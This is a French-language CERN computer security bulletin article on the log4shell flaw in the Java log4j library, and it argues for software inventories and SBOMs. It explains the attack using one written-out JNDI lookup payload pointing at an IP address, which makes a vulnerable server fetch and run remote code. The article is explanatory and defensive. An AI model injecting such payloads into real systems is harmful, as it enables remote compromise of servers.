L’année 2021 s’est achevée sur une mauvaise surprise pour le monde des technologies de l’information en général, et en particulier pour la communauté de la sécurité informatique. Découverte début décembre dans la bibliothèque de journalisation Java Apache « log4j », la vulnérabilité « log4shell » (lien 1 ; lien 2) affecte presque tout. Comme Java est omniprésent et intégré dans beaucoup (trop ?) de sites web, d’applications, de micrologiciels, et autres, le problème est difficile à résoudre, en particulier à l’approche des fêtes de fin d’année, lorsque tout le monde se prépare à partir en vacances et que les pirates, eux, se préparent à frapper, en déposant un cadeau empoisonné sous le sapin.
« Log4j » est une bibliothèque Java utilisée par les développeurs et les gestionnaires d’applications pour surveiller de manière détaillée l’activité sur leur application ou leur site web. Ces historiques d’activité permettent d’identifier les problèmes, les erreurs et les points à améliorer. Les bibliothèques Java sont des éléments fondamentaux utilisés dans de nombreux paquets de logiciels modernes. C’est pour cette raison que Jen Easterly, directeur de l’Agence américaine de cybersécurité et de sécurité des infrastructures, considère la vulnérabilité de log4j récemment découverte comme la plus sérieuse qu’il ait jamais connue. En effet, plus de 35 000 paquets Java, soit plus de 8 % du référentiel central Maven (principal référentiel de paquets Java), en sont affectés. Et on ne parle ici que des vulnérabilités trouvées dans des référentiels uniques*.
La vulnérabilité est simple et efficace, et entraîne directement l’exécution d’un code à distance (RCE – remote code execution) lorsque les données de journalisation contiennent une charge malveillante, par exemple $ {jndi:ldap://188.185.91.34:1337/a} : dans ce cas particulier l’adresse IP 188.185.91.34 renvoie vers un serveur CERN. La vulnérabilité de log4j est déclenchée par cette charge et la requête est faite par le serveur à l’adresse 188.185.91.34, via l’interface de programmation « Java Naming and Directory Interface » (JNDI). En effet, dans le cadre des attaques informatiques, cette adresse IP serait en fait un serveur contrôlé par un pirate qui répondrait à la requête en injectant un fichier de classe Java dans le programme serveur de log4j qui permettrait au pirate d’exécuter un code arbitraire à distance. C’est sa simplicité qui rend l’attaque aussi dangereuse, d’autant plus qu’elle ne nécessite qu’un seul champ de saisie dans un service, ou une application web, public ou accessible depuis internet. On comprend pourquoi les communautés informatiques et de sécurité informatique n’ont pas apprécié de trouver ce cadeau empoisonné sous leur sapin.
Log4j n’est pourtant pas le vrai problème. Tout comme pour la vulnérabilité Heartbleed il y a quelques années, le problème majeur réside dans le fait que l’on ne sait pas où la bibliothèque est utilisée, qu’il s’agisse de log4j ou d’« OpenSSL » de Heartbleed. Nous manquons de répertoire, d’une gestion des dépendances suffisante. Sans ces informations, il est impossible de mettre en place une stratégie d’atténuation. Cela devient encore plus compliqué lorsque les logiciels sont importés (automatiquement) à partir de sources se trouvant à distance (voir notre article du Bulletin : « Une nouvelle subtilité à propos des logiciels externes »). C’est un peu comme lorsque l’on utilise des logiciels libres et open source : le fait que ces logiciels soient destinés à être réutilisés ne garantit pas un soutien, des mises à jour ou l’absence de failles au niveau de la sécurité, notamment lorsqu’il s’agit de petits projets ou de projets ne bénéficiant pas du soutien ou du financement nécessaires ; ou lorsque certains utilisateurs (influents) récupèrent le code source sans participer à la communauté et contribuer au projet en contrepartie. Les dépôts centraux comme Gitlab ou Harbor peuvent donc incontestablement être utiles dans certaines circonstances.
À titre d’exemple, l’équipe de la sécurité informatique du CERN a été en mesure de contacter, grâce à son inventaire central**, tous les propriétaires de projets Openshift potentiellement affectés. Des listes complètes, appelées « nomenclatures logicielles » (SBOM), seront certainement utiles une fois mises en œuvre (plusieurs présentations sur le sujet sont disponibles sur Indico). De la même façon, des outils de curation tels que « Nexus » ou « Snyk » (https://indico.cern.ch/event/959475/) seront certainement utiles, une fois qu’ils auront été déployés (voir notre plaidoyer dans l’article du Bulletin : « Dîner raffiné ou tarte brûlée ? »).
Heureusement, jusqu’à présent, ni le système de détection d’intrusion du CERN ni le pare-feu périmétrique externe n’a détecté la moindre tentative fructueuse d’utiliser ce cadeau empoisonné. Si l’équipe de la sécurité informatique a analysé toutes les applications web potentiellement vulnérables et a alerté leurs propriétaires, nous comptons aussi sur vous pour vérifier et atténuer la vulnérabilité de vos applications et sites web, cela permettra d’éviter toute surprise après les fêtes !
_____
Pour en savoir plus sur les incidents et les problèmes en matière de sécurité informatique au CERN, consultez notre rapport mensuel (en anglais). Si vous souhaitez avoir plus d’informations, poser des questions ou obtenir de l’aide, visitez notre site ou contactez-nous à l’adresse Computer.Security@cern.ch.
* Pour consulter une liste des logiciels affectés, consultez la page : https://github.com/NCSC-NL/log4shell/tree/main/software.
** Il est intéressant de constater que 50 % des projets hébergés par Openshift et dont les propriétaires ont été notifiés ont été supprimés immédiatement. Tout porte à croire que le CERN a besoin de mettre en place un cycle de vie des ressources plus efficace ; en effet, ces projets en apparence sans importance bloquent les ressources et constituent un risque latent sur le plan de la sécurité.